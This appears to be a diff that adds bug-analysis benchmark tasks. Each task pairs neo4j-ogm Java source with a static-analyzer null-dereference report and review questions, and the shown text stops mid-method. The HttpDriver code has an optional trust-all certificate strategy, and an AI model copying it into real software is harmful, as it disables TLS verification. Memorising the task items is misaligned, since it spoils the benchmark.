+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `restModel` last assigned on line 53 could be null and is dereferenced at line 55.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void JsonRestResponseTest.shouldParseDataInRowResponseCorrectly()
+
+### Procedure Id:
+org.neo4j.ogm.drivers.http.response.JsonRestResponseTest.shouldParseDataInRowResponseCorrectly():voi.80b05d89066fed4423b59c2d1b4d1b36
+
+### File:
+drivers/src/test/java/org/neo4j/ogm/drivers/http/response/JsonRestResponseTest.java
+
+### Key:
+JsonRestResponseTest.java|shouldParseDataInRowResponseCorrectly|NULL_DEREFERENCE
+
+### Node Key:
+187abbcb57254a2b1a780352ad623c0b
+
+### Hash:
+474cde65860a912c68d410e86a1c1ae1
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7521/instruction.md b/inferredbugs-7521/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..1197f94010a59d622fc2b2dea8ac2c3f1356678a
--- /dev/null
+++ b/inferredbugs-7521/instruction.md
@@ -0,0 +1,297 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** neo4j-ogm
+**Bug ID:** 39
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright (c) 2002-2016 "Neo Technology,"
+ * Network Engine for Objects in Lund AB [http://neotechnology.com]
+ *
+ * This product is licensed to you under the Apache License, Version 2.0 (the "License").
+ * You may not use this product except in compliance with the License.
+ *
+ * This product may include a number of subcomponents with
+ * separate copyright notices and license terms. Your use of the source
+ * code for these subcomponents is subject to the terms and
+ *  conditions of the subcomponent's license, as noted in the LICENSE file.
+ */
+
+package org.neo4j.ogm.drivers.http.driver;
+
+import org.apache.http.Header;
+import org.apache.http.HttpEntity;
+import org.apache.http.client.HttpResponseException;
+import org.apache.http.client.methods.CloseableHttpResponse;
+import org.apache.http.client.methods.HttpPost;
+import org.apache.http.client.methods.HttpRequestBase;
+import org.apache.http.config.Registry;
+import org.apache.http.config.RegistryBuilder;
+import org.apache.http.conn.socket.ConnectionSocketFactory;
+import org.apache.http.conn.socket.PlainConnectionSocketFactory;
+import org.apache.http.conn.ssl.SSLConnectionSocketFactory;
+import org.apache.http.impl.client.CloseableHttpClient;
+import org.apache.http.impl.client.HttpClientBuilder;
+import org.apache.http.impl.conn.PoolingHttpClientConnectionManager;
+import org.apache.http.ssl.SSLContextBuilder;
+import org.apache.http.ssl.TrustStrategy;
+import org.apache.http.util.EntityUtils;
+import org.neo4j.ogm.driver.AbstractConfigurableDriver;
+import org.neo4j.ogm.drivers.http.request.HttpRequest;
+import org.neo4j.ogm.drivers.http.transaction.HttpTransaction;
+import org.neo4j.ogm.exception.ResultErrorsException;
+import org.neo4j.ogm.exception.ResultProcessingException;
+import org.neo4j.ogm.request.Request;
+import org.neo4j.ogm.transaction.Transaction;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import javax.net.ssl.HostnameVerifier;
+import javax.net.ssl.SSLContext;
+import java.security.cert.X509Certificate;
+
+/**
+ * @author vince
+ */
+
+public final class HttpDriver extends AbstractConfigurableDriver
+{
+    private static final Logger LOGGER = LoggerFactory.getLogger(HttpDriver.class);
+
+    private CloseableHttpClient httpClient;
+
+    public HttpDriver() {}
+
+    public HttpDriver( CloseableHttpClient httpClient ) {
+        this.httpClient = httpClient;
+    }
+
+    @Override
+    public synchronized void close() {
+        try {
+            LOGGER.info("Shutting down Http driver {} ", this);
+            if (httpClient != null) {
+                httpClient.close();
+            }
+        } catch (Exception e) {
+            LOGGER.warn( "Unexpected Exception when closing http client httpClient: ", e );
+        }
+    }
+
+    @Override
+    public Request request() {
+        String url = requestUrl();
+        return new HttpRequest(httpClient(), url, driverConfig.getCredentials());
+    }
+
+    @Override
+    public Transaction newTransaction() {
+
+        String url = newTransactionUrl();
+        return new HttpTransaction(transactionManager, this, url);
+    }
+
+    public CloseableHttpResponse executeHttpRequest(HttpRequestBase request) {
+
+        try {
+            try(CloseableHttpResponse response = HttpRequest.execute(httpClient(), request, driverConfig.getCredentials())) {
+                HttpEntity responseEntity = response.getEntity();
+                if (responseEntity != null) {
+                    String responseText = EntityUtils.toString(responseEntity);
+                    LOGGER.debug("Thread {}: {}", Thread.currentThread().getId(), responseText );
+                    EntityUtils.consume(responseEntity);
+                    if (responseText.contains("\"errors\":[{") || responseText.contains("\"errors\": [{")) {
+                        throw new ResultErrorsException(responseText);
+                    }
+                }
+                return response;
+            }
+        }
+
+        catch (HttpResponseException hre) {
+            if (hre.getStatusCode() == 404) {
+                Transaction tx = transactionManager.getCurrentTransaction();
+                if (tx != null) {
+                    transactionManager.rollback(tx);
+                }
+            }
+            throw new ResultProcessingException("HttpResponse exception: Not Found", hre);
+        }
+
+        catch (Exception e) {
+            throw new ResultProcessingException("Failed to execute request: ", e);
+        }
+
+        finally {
+            request.releaseConnection();
+            LOGGER.debug( "Thread {}: Connection released", Thread.currentThread().getId() );
+        }
+    }
+
+    private String newTransactionUrl() {
+
+        String url = transactionEndpoint(driverConfig.getURI());
+        LOGGER.debug( "Thread {}: POST {}", Thread.currentThread().getId(), url );
+
+        try (CloseableHttpResponse response = executeHttpRequest(new HttpPost(url))) {
+            Header location = response.getHeaders("Location")[0];
+            response.close();
+            return location.getValue();
+        } catch (Exception e) {
+            throw new ResultProcessingException("Could not obtain new Transaction: ", e);
+        }
+    }
+
+    private String autoCommitUrl() {
+        return transactionEndpoint(driverConfig.getURI()).concat("/commit");
+    }
+
+    private String transactionEndpoint(String server) {
+        if (server == null) {
+            return null;
+        }
+        String url = server;
+
+        if (!server.endsWith("/")) {
+            url += "/";
+        }
+        return url + "db/data/transaction";
+    }
+
+    private String requestUrl() {
+        if (transactionManager != null) {
+            Transaction tx = transactionManager.getCurrentTransaction();
+            if (tx != null) {
+                LOGGER.debug("Thread {}: request url {}", Thread.currentThread().getId(), ((HttpTransaction) tx).url());
+                return ((HttpTransaction) tx).url();
+            } else {
+                LOGGER.debug( "Thread {}: No current transaction, using auto-commit", Thread.currentThread().getId() );
+            }
+        } else {
+            LOGGER.debug( "Thread {}: No transaction manager available, using auto-commit", Thread.currentThread().getId() );
+        }
+        LOGGER.debug( "Thread {}: request url {}", Thread.currentThread().getId(), autoCommitUrl() );
+        return autoCommitUrl();
+    }
+
+    private synchronized CloseableHttpClient httpClient()  {
+
+        if (httpClient == null) {   // most of the time this will be false, branch-prediction will be very fast and the lock released immediately
+
+            try {
+                HttpClientBuilder httpClientBuilder = HttpClientBuilder.create();
+
+                SSLContext sslContext = SSLContext.getDefault();
+
+                if (driverConfig.getTrustStrategy() != null) {
+
+                    if (driverConfig.getTrustStrategy().equals("ACCEPT_UNSIGNED")) {
+                        sslContext = new SSLContextBuilder().loadTrustMaterial(null, new TrustStrategy() {
+                            public boolean isTrusted(X509Certificate[] arg0, String arg1) {
+                                return true;
+                            }
+                        }).build();
+
+                        LOGGER.warn("Certificate validation has been disabled");
+                    }
+                }
+
+                // setup the default or custom ssl context
+                httpClientBuilder.setSSLContext(sslContext);
+
+                HostnameVerifier hostnameVerifier = SSLConnectionSocketFactory.getDefaultHostnameVerifier();
+
+                SSLConnectionSocketFactory sslSocketFactory = new SSLConnectionSocketFactory(sslContext, hostnameVerifier);
+                Registry<ConnectionSocketFactory> socketFactoryRegistry = RegistryBuilder.<ConnectionSocketFactory>create()
+                        .register("http", PlainConnectionSocketFactory.getSocketFactory())
+                        .register("https", sslSocketFactory)
+                        .build();
+
+                // allows multi-threaded use
+                PoolingHttpClientConnectionManager connectionManager = new PoolingHttpClientConnectionManager(socketFactoryRegistry);
+
+                Integer connectionPoolSize = driverConfig.getConnectionPoolSize();
+
+                connectionManager.setMaxTotal(connectionPoolSize);
+                connectionManager.setDefaultMaxPerRoute(connectionPoolSize);
+
+                httpClientBuilder.setConnectionManager(connectionManager);
+
+                httpClient = httpClientBuilder.build();
+
+            } catch (Exception e) {
+                throw new RuntimeException(e);
+            }
+        }
+
+        return httpClient;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `response` last assigned on line 130 could be null and is dereferenced at line 131.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+String HttpDriver.newTransactionUrl()
+
+### Procedure Id:
+org.neo4j.ogm.drivers.http.driver.HttpDriver.newTransactionUrl():java.lang.String.e28db02f03fe305e22f76fc2c7e6a376
+
+### File:
+http-driver/src/main/java/org/neo4j/ogm/drivers/http/driver/HttpDriver.java
+
+### Key:
+HttpDriver.java|newTransactionUrl|NULL_DEREFERENCE
+
+### Node Key:
+33a23cce47ae73762338530d2e74790f
+
+### Hash:
+15ceb1a2e19ac456fef878be4ec027d2
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7526/instruction.md b/inferredbugs-7526/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..0340f8771de52797fd7473b56a348841b50ea321
--- /dev/null
+++ b/inferredbugs-7526/instruction.md
@@ -0,0 +1,730 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** neo4j-ogm
+**Bug ID:** 48
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright (c) 2002-2017 "Neo Technology,"
+ * Network Engine for Objects in Lund AB [http://neotechnology.com]
+ *
+ * This product is licensed to you under the Apache License, Version 2.0 (the "License").
+ * You may not use this product except in compliance with the License.
+ *
+ * This product may include a number of subcomponents with
+ * separate copyright notices and license terms. Your use of the source
+ * code for these subcomponents is subject to the terms and
+ *  conditions of the subcomponent's license, as noted in the LICENSE file.
+ */
+
+package org.neo4j.ogm.context;
+
+
+import static org.neo4j.ogm.annotation.Relationship.*;
+import static org.neo4j.ogm.metadata.reflect.EntityAccessManager.*;
+
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.*;
+
+import org.neo4j.ogm.annotation.EndNode;
+import org.neo4j.ogm.annotation.Relationship;
+import org.neo4j.ogm.annotation.StartNode;
+import org.neo4j.ogm.exception.BaseClassNotFoundException;
+import org.neo4j.ogm.exception.MappingException;
+import org.neo4j.ogm.metadata.ClassInfo;
+import org.neo4j.ogm.metadata.FieldInfo;
+import org.neo4j.ogm.metadata.MetaData;
+import org.neo4j.ogm.metadata.MethodInfo;
+import org.neo4j.ogm.metadata.reflect.EntityAccessManager;
+import org.neo4j.ogm.metadata.reflect.EntityFactory;
+import org.neo4j.ogm.model.Edge;
+import org.neo4j.ogm.model.GraphModel;
+import org.neo4j.ogm.model.Node;
+import org.neo4j.ogm.model.Property;
+import org.neo4j.ogm.response.Response;
+import org.neo4j.ogm.response.model.PropertyModel;
+import org.neo4j.ogm.typeconversion.CompositeAttributeConverter;
+import org.neo4j.ogm.utils.ClassUtils;
+import org.neo4j.ogm.utils.EntityUtils;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+/**
+ * @author Vince Bickers
+ * @author Luanne Misquitta
+ */
+public class GraphEntityMapper implements ResponseMapper<GraphModel> {
+
+    private static final Logger logger = LoggerFactory.getLogger(GraphEntityMapper.class);
+
+    private static Map<String, ?> toMap(List<Property<String, Object>> propertyList) {
+
+        Map<String, Object> map = new HashMap<>();
+
+        for (Property<String, Object> property : propertyList) {
+            map.put(property.getKey(), property.getValue());
+        }
+
+        return map;
+    }
+
+    private final MappingContext mappingContext;
+    private final EntityFactory entityFactory;
+    private final MetaData metadata;
+
+    public GraphEntityMapper(MetaData metaData, MappingContext mappingContext) {
+        this.metadata = metaData;
+        this.entityFactory = new EntityFactory(metadata);
+        this.mappingContext = mappingContext;
+    }
+
+    @Override
+    public <T> Iterable<T> map(Class<T> type, Response<GraphModel> model) {
+
+        List<T> objects = new ArrayList<>();
+        Set<Long> objectIds = new HashSet<>();
+          /*
+         * these two lists will contain the node ids and edge ids from the response, in the order
+         * they were presented to us.
+         */
+        Set<Long> nodeIds = new LinkedHashSet<>();
+        Set<Long> edgeIds = new LinkedHashSet<>();
+
+        GraphModel graphModel;
+        while ((graphModel = model.next()) != null) {
+            List<T> mappedEntities = map(type, graphModel, nodeIds, edgeIds);
+            for (T entity : mappedEntities) {
+                Long identity = EntityUtils.identity(entity, metadata);
+                if (!objectIds.contains(identity)) {
+                    objects.add(entity);
+                    objectIds.add(identity);
+                }
+            }
+        }
+
+        model.close();
+        return objects;
+    }
+
+    Map<Long, Object> mapRelationships(GraphModel model) {
+        Map<Long, Object> results = new HashMap<>();
+        Set<Long> edgeIds = new LinkedHashSet<>();
+        mapRelationships(model, edgeIds);
+        for (Long id : edgeIds) {
+            Object o = mappingContext.getRelationshipEntity(id);
+            if (o != null) {
+                results.put(id, o);
+            }
+        }
+        return results;
+    }
+
+    public <T> List<T> map(Class<T> type, GraphModel graphModel) {
+        Set<Long> nodeIds = new LinkedHashSet<>();
+        Set<Long> edgeIds = new LinkedHashSet<>();
+        return map(type, graphModel, nodeIds, edgeIds);
+    }
+
+    public <T> List<T> map(Class<T> type, GraphModel graphModel, Set<Long> nodeIds, Set<Long> edgeIds) {
+
+        mapEntities(type, graphModel, nodeIds, edgeIds);
+        List<T> results = new ArrayList<>();
+        Set<Long> seenNodeIds = new HashSet<>();
+        Set<Long> seenEdgeIds = new HashSet<>();
+
+        for (Long id : nodeIds) {
+            Object o = mappingContext.getNodeEntity(id);
+
+            if (!seenNodeIds.contains(id)) {
+                executePostLoad(o);
+                seenNodeIds.add(id);
+            }
+
+            if (o != null && type.isAssignableFrom(o.getClass())) {
+                results.add(type.cast(o));
+            }
+        }
+
+        // only look for REs if no node entities were found
+        if (results.isEmpty()) {
+            for (Long id : edgeIds) {
+                Object o = mappingContext.getRelationshipEntity(id);
+
+                if (!seenEdgeIds.contains(id)) {
+                    if (o != null) {
+                        executePostLoad(o);
+                    }
+                    seenEdgeIds.add(id);
+                }
+
+                if (o != null && type.isAssignableFrom(o.getClass())) {
+                    results.add(type.cast(o));
+                }
+            }
+        }
+
+        return results;
+    }
+
+    private <T> void mapEntities(Class<T> type, GraphModel graphModel, Set<Long> nodeIds, Set<Long> edgeIds) {
+        try {
+            mapNodes(graphModel, nodeIds);
+            mapRelationships(graphModel, edgeIds);
+        } catch (Exception e) {
+            throw new MappingException("Error mapping GraphModel to instance of " + type.getName(), e);
+        }
+    }
+
+    private void mapNodes(GraphModel graphModel, Set<Long> nodeIds) {
+
+        for (Node node : graphModel.getNodes()) {
+            if (!nodeIds.contains(node.getId())) {
+                Object entity = mappingContext.getNodeEntity(node.getId());
+                try {
+                    if (entity == null) {
+                        entity = entityFactory.newObject(node);
+                        setIdentity(entity, node.getId());
+                        setProperties(node.getPropertyList(), entity);
+                        setLabels(node, entity);
+                        mappingContext.addNodeEntity(entity, node.getId());
+                    }
+                    nodeIds.add(node.getId());
+                } catch (BaseClassNotFoundException e) {
+                    logger.debug(e.getMessage());
+                }
+            }
+        }
+    }
+
+    private void executePostLoad(Object instance) {
+        ClassInfo classInfo = metadata.classInfo(instance);
+        MethodInfo postLoadMethod = classInfo.postLoadMethodOrNull();
+        if (postLoadMethod != null) {
+            final Method method = classInfo.getMethod(postLoadMethod);
+            try {
+                method.invoke(instance);
+            } catch (IllegalAccessException | InvocationTargetException e) {
+                logger.error("Failed to execute post load method", e);
+            }
+        }
+    }
+
+    private void setIdentity(Object instance, Long id) {
+        ClassInfo classInfo = metadata.classInfo(instance);
+        FieldInfo fieldInfo = classInfo.identityField();
+        FieldInfo.write(classInfo.getField(fieldInfo), instance, id);
+    }
+
+    private void setProperties(List<Property<String, Object>> propertyList, Object instance) {
+        ClassInfo classInfo = metadata.classInfo(instance);
+
+        Collection<FieldInfo> compositeFields = classInfo.fieldsInfo().compositeFields();
+        if (compositeFields.size() > 0) {
+            Map<String, ?> propertyMap = toMap(propertyList);
+            for (FieldInfo field : compositeFields) {
+                CompositeAttributeConverter<?> converter = field.getCompositeConverter();
+                Object value = converter.toEntityAttribute(propertyMap);
+                FieldInfo writer = classInfo.getFieldInfo(field.getName());
+                writer.write(instance, value);
+            }
+        }
+
+        for (Property<?, ?> property : propertyList) {
+            writeProperty(classInfo, instance, property);
+        }
+    }
+
+    private void setLabels(Node nodeModel, Object instance) {
+        ClassInfo classInfo = metadata.classInfo(instance);
+        FieldInfo labelFieldInfo = classInfo.labelFieldOrNull();
+        if (labelFieldInfo != null) {
+            Collection<String> staticLabels = classInfo.staticLabels();
+            Set<String> dynamicLabels = new HashSet<>();
+            for (String label : nodeModel.getLabels()) {
+                if (!staticLabels.contains(label)) {
+                    dynamicLabels.add(label);
+                }
+            }
+            writeProperty(classInfo, instance, PropertyModel.with(labelFieldInfo.getName(), dynamicLabels));
+        }
+    }
+
+    private void writeProperty(ClassInfo classInfo, Object instance, Property<?, ?> property) {
+
+        FieldInfo writer = classInfo.getFieldInfo(property.getKey().toString());
+
+        if (writer == null) {
+            logger.debug("Unable to find property: {} on class: {} for writing", property.getKey(), classInfo.name());
+        } else {
+            Object value = property.getValue();
+            // merge iterable / arrays and co-erce to the correct attribute type
+            if (writer.type().isArray() || Iterable.class.isAssignableFrom(writer.type())) {
+                FieldInfo reader = classInfo.getFieldInfo(property.getKey().toString());
+                if (reader != null) {
+                    Object currentValue = reader.readProperty(instance);
+                    Class<?> paramType = writer.type();
+                    Class elementType = underlyingElementType(classInfo, property.getKey().toString());
+                    if (paramType.isArray()) {
+                        value = EntityAccessManager.merge(paramType, value, (Object[]) currentValue, elementType);
+                    } else {
+                        value = EntityAccessManager.merge(paramType, value, (Collection) currentValue, elementType);
+                    }
+                }
+            }
+            writer.write(instance, value);
+        }
+    }
+
+    private boolean tryMappingAsSingleton(Object source, Object parameter, Edge edge, String relationshipDirection) {
+
+        String edgeLabel = edge.getType();
+        ClassInfo sourceInfo = metadata.classInfo(source);
+
+        FieldInfo writer = getRelationalWriter(sourceInfo, edgeLabel, relationshipDirection, parameter);
+        if (writer != null && writer.forScalar()) {
+            writer.write(source, parameter);
+            return true;
+        }
+
+        return false;
+    }
+
+    private void mapRelationships(GraphModel graphModel, Set<Long> edgeIds) {
+
+        final List<Edge> oneToMany = new ArrayList<>();
+
+        for (Edge edge : graphModel.getRelationships()) {
+            if (!edgeIds.contains(edge.getId())) {
+                Object source = mappingContext.getNodeEntity(edge.getStartNode());
+                Object target = mappingContext.getNodeEntity(edge.getEndNode());
+
+                edgeIds.add(edge.getId());
+
+                if (source != null && target != null) {
+                    // check whether this edge should in fact be handled as a relationship entity
+                    ClassInfo relationshipEntityClassInfo = getRelationshipEntity(edge);
+
+                    if (relationshipEntityClassInfo != null) {
+                        mapRelationshipEntity(oneToMany, edge, source, target, relationshipEntityClassInfo);
+                    } else {
+                        mapRelationship(oneToMany, edge, source, target);
+                    }
+                } else {
+                    logger.debug("Relationship {} cannot be hydrated because one or more required node types are not mapped to entity classes", edge);
+                }
+            }
+        }
+        if (oneToMany.size() > 0) {
+            mapOneToMany(oneToMany);
+        }
+    }
+
+    private void mapRelationship(List<Edge> oneToMany, Edge edge, Object source, Object target) {
+        boolean oneToOne;
+        //Since source=start node, end=end node, the direction from source->target has to be outgoing, try mapping it
+        oneToOne = tryMappingAsSingleton(source, target, edge, OUTGOING);
+
+        //Try mapping the incoming relation on the end node, target
+        oneToOne &= tryMappingAsSingleton(target, source, edge, Relationship.INCOMING);
+
+        // if its not one->one on BOTH sides, we'll try a one->many | many->one | many->many mapping later.
+        if (!oneToOne) {
+            oneToMany.add(edge);
+        } else {
+            FieldInfo writer = getRelationalWriter(metadata.classInfo(source), edge.getType(), OUTGOING, target);
+            mappingContext.addRelationship(new MappedRelationship(edge.getStartNode(), edge.getType(), edge.getEndNode(), edge.getId(), source.getClass(), ClassUtils.getType(writer.typeParameterDescriptor())));
+        }
+    }
+
+    private void mapRelationshipEntity(List<Edge> oneToMany, Edge edge, Object source, Object target, ClassInfo relationshipEntityClassInfo) {
+        logger.debug("Found relationship type: {} to map to RelationshipEntity: {}", edge.getType(), relationshipEntityClassInfo.name());
+
+        // look to see if this relationship already exists in the mapping context.
+        Object relationshipEntity = mappingContext.getRelationshipEntity(edge.getId());
+
+        // do we know about it?
+        if (relationshipEntity == null) { // no, create a new relationship entity
+            relationshipEntity = createRelationshipEntity(edge, source, target);
+        }
+
+        // If the source has a writer for an outgoing relationship for the rel entity, then write the rel entity on the source if it's a scalar writer
+        ClassInfo sourceInfo = metadata.classInfo(source);
+        FieldInfo writer = getRelationalWriter(sourceInfo, edge.getType(), OUTGOING, relationshipEntity);
+        if (writer == null) {
+            logger.debug("No writer for {}", target);
+        } else {
+            if (writer.forScalar()) {
+                writer.write(source, relationshipEntity);
+                mappingContext.addRelationship(new MappedRelationship(edge.getStartNode(), edge.getType(), edge.getEndNode(), edge.getId(), source.getClass(), ClassUtils.getType(writer.typeParameterDescriptor())));
+            } else {
+                oneToMany.add(edge);
+            }
+        }
+
+        //If the target has a writer for an incoming relationship for the rel entity, then write the rel entity on the target if it's a scalar writer
+        ClassInfo targetInfo = metadata.classInfo(target);
+        writer = getRelationalWriter(targetInfo, edge.getType(), Relationship.INCOMING, relationshipEntity);
+
+        if (writer == null) {
+            logger.debug("No writer for {}", target);
+        } else {
+            if (writer.forScalar()) {
+                writer.write(target, relationshipEntity);
+            } else {
+                oneToMany.add(edge);
+            }
+        }
+    }
+
+    private Object createRelationshipEntity(Edge edge, Object startEntity, Object endEntity) {
+
+        // create and hydrate the new RE
+        Object relationshipEntity = entityFactory.newObject(getRelationshipEntity(edge));
+        setIdentity(relationshipEntity, edge.getId());
+
+        // REs also have properties
+        setProperties(edge.getPropertyList(), relationshipEntity);
+
+        // register it in the mapping context
+        mappingContext.addRelationshipEntity(relationshipEntity, edge.getId());
+
+        // set the start and end entities
+        ClassInfo relEntityInfo = metadata.classInfo(relationshipEntity);
+
+        FieldInfo startNodeWriter = relEntityInfo.getStartNodeReader();
+        if (startNodeWriter != null) {
+            startNodeWriter.write(relationshipEntity, startEntity);
+        } else {
+            throw new RuntimeException("Cannot find a writer for the StartNode of relational entity " + relEntityInfo.name());
+        }
+
+        FieldInfo endNodeWriter = relEntityInfo.getEndNodeReader();
+        if (endNodeWriter != null) {
+            endNodeWriter.write(relationshipEntity, endEntity);
+        } else {
+            throw new RuntimeException("Cannot find a writer for the EndNode of relational entity " + relEntityInfo.name());
+        }
+
+        return relationshipEntity;
+    }
+
+    private void mapOneToMany(Collection<Edge> oneToManyRelationships) {
+
+        EntityCollector entityCollector = new EntityCollector();
+        List<MappedRelationship> relationshipsToRegister = new ArrayList<>();
+        Set<Edge> registeredEdges = new HashSet<>();
+
+        // first, build the full set of related entities of each type and direction for each source entity in the relationship
+        for (Edge edge : oneToManyRelationships) {
+
+            Object instance = mappingContext.getNodeEntity(edge.getStartNode());
+            Object parameter = mappingContext.getNodeEntity(edge.getEndNode());
+
+            // is this a relationship entity we're trying to map?
+            Object relationshipEntity = mappingContext.getRelationshipEntity(edge.getId());
+            if (relationshipEntity != null) {
+                // establish a relationship between
+                FieldInfo outgoingWriter = findIterableWriter(instance, relationshipEntity, edge.getType(), OUTGOING);
+                if (outgoingWriter != null) {
+                    entityCollector.recordTypeRelationship(edge.getStartNode(), relationshipEntity, edge.getType(), OUTGOING);
+                    relationshipsToRegister.add(new MappedRelationship(edge.getStartNode(), edge.getType(), edge.getEndNode(), edge.getId(), instance.getClass(), ClassUtils.getType(outgoingWriter.typeParameterDescriptor())));
+                }
+                FieldInfo incomingWriter = findIterableWriter(parameter, relationshipEntity, edge.getType(), Relationship.INCOMING);
+                if (incomingWriter != null) {
+                    entityCollector.recordTypeRelationship(edge.getEndNode(), relationshipEntity, edge.getType(), Relationship.INCOMING);
+                    relationshipsToRegister.add(new MappedRelationship(edge.getStartNode(), edge.getType(), edge.getEndNode(), edge.getId(), instance.getClass(), ClassUtils.getType(incomingWriter.typeParameterDescriptor())));
+                }
+                if (incomingWriter != null || outgoingWriter != null) {
+                    registeredEdges.add(edge);
+                }
+            } else {
+                FieldInfo outgoingWriter = findIterableWriter(instance, parameter, edge.getType(), OUTGOING);
+                if (outgoingWriter != null) {
+                    entityCollector.recordTypeRelationship(edge.getStartNode(), parameter, edge.getType(), OUTGOING);
+                    relationshipsToRegister.add(new MappedRelationship(edge.getStartNode(), edge.getType(), edge.getEndNode(), edge.getId(), instance.getClass(), ClassUtils.getType(outgoingWriter.typeParameterDescriptor())));
+                }
+                FieldInfo incomingWriter = findIterableWriter(parameter, instance, edge.getType(), Relationship.INCOMING);
+                if (incomingWriter != null) {
+                    entityCollector.recordTypeRelationship(edge.getEndNode(), instance, edge.getType(), Relationship.INCOMING);
+                    relationshipsToRegister.add(new MappedRelationship(edge.getStartNode(), edge.getType(), edge.getEndNode(), edge.getId(), instance.getClass(), ClassUtils.getType(incomingWriter.typeParameterDescriptor())));
+                }
+                if (incomingWriter != null || outgoingWriter != null) {
+                    registeredEdges.add(edge);
+                }
+            }
+        }
+
+        // then set the entire collection at the same time for each owning type
+        for (Long instanceId : entityCollector.getOwningTypes()) {
+            //get all relationship types for which we're trying to set collections of instances
+            for (String relationshipType : entityCollector.getOwningRelationshipTypes(instanceId)) {
+                //for each relationship type, get all the directions for which we're trying to set collections of instances
+                for (String relationshipDirection : entityCollector.getRelationshipDirectionsForOwningTypeAndRelationshipType(instanceId, relationshipType)) {
+                    //for each direction, get all the entity types for which we're trying to set collections of instances
+                    for (Class entityClass : entityCollector.getEntityClassesForOwningTypeAndRelationshipTypeAndRelationshipDirection(instanceId, relationshipType, relationshipDirection)) {
+                        Collection<?> entities = entityCollector.getCollectiblesForOwnerAndRelationship(instanceId, relationshipType, relationshipDirection, entityClass);
+                        //Class entityType = entityCollector.getCollectibleTypeForOwnerAndRelationship(instanceId, relationshipType, relationshipDirection);
+                        mapOneToMany(mappingContext.getNodeEntity(instanceId), entityClass, entities, relationshipType, relationshipDirection);
+                    }
+                }
+            }
+        }
+
+        // now register all the relationships we've mapped as iterable types into the mapping context
+        for (MappedRelationship mappedRelationship : relationshipsToRegister) {
+            mappingContext.addRelationship(mappedRelationship);
+        }
+        // finally, register anything left over. These will be singleton relationships that
+        // were not mapped during one->one mapping, or one->many mapping.
+        for (Edge edge : oneToManyRelationships) {
+            if (!registeredEdges.contains(edge)) {
+                Object source = mappingContext.getNodeEntity(edge.getStartNode());
+                Object target = mappingContext.getNodeEntity(edge.getEndNode());
+                FieldInfo writer = getRelationalWriter(metadata.classInfo(source), edge.getType(), OUTGOING, target);
+                if (writer == null) {
+                    writer = getRelationalWriter(metadata.classInfo(target), edge.getType(), INCOMING, source);
+                }
+                // ensures its tracked in the domain
+                if (writer != null) {
+                    MappedRelationship mappedRelationship = new MappedRelationship(edge.getStartNode(), edge.getType(), edge.getEndNode(), edge.getId(), source.getClass(), ClassUtils.getType(writer.typeParameterDescriptor()));
+                    if (!mappingContext.containsRelationship(mappedRelationship)) {
+                        mappingContext.addRelationship(mappedRelationship);
+                    }
+                }
+            }
+        }
+    }
+
+    /**
+     * Return an iterable writer to map a relationship onto an entity for the given relationshipType and relationshipDirection
+     *
+     * @param instance the instance onto which the relationship is to be mapped
+     * @param parameter the value to be mapped
+     * @param relationshipType the relationship type
+     * @param relationshipDirection the relationship direction
+     * @return FieldWriter or null if none exists
+     */
+    private FieldInfo findIterableWriter(Object instance, Object parameter, String relationshipType, String relationshipDirection) {
+        ClassInfo classInfo = metadata.classInfo(instance);
+        return EntityAccessManager.getIterableField(classInfo, parameter.getClass(), relationshipType, relationshipDirection);
+    }
+
+
+    /**
+     * Map many values to an instance based on the relationship type.
+     * See DATAGRAPH-637
+     *
+     * @param instance the instance to map values onto
+     * @param valueType the type of each value
+     * @param values the values to map
+     * @param relationshipType the relationship type associated with these values
+     */
+    private void mapOneToMany(Object instance, Class<?> valueType, Object values, String relationshipType, String relationshipDirection) {
+
+        ClassInfo classInfo = metadata.classInfo(instance);
+
+        FieldInfo writer = EntityAccessManager.getIterableField(classInfo, valueType, relationshipType, relationshipDirection);
+        if (writer != null) {
+            if (writer.type().isArray() || Iterable.class.isAssignableFrom(writer.type())) {
+                FieldInfo reader = EntityAccessManager.getIterableField(classInfo, valueType, relationshipType, relationshipDirection);
+                Object currentValues;
+                if (reader != null) {
+                    currentValues = reader.read(instance);
+                    if (writer.type().isArray()) {
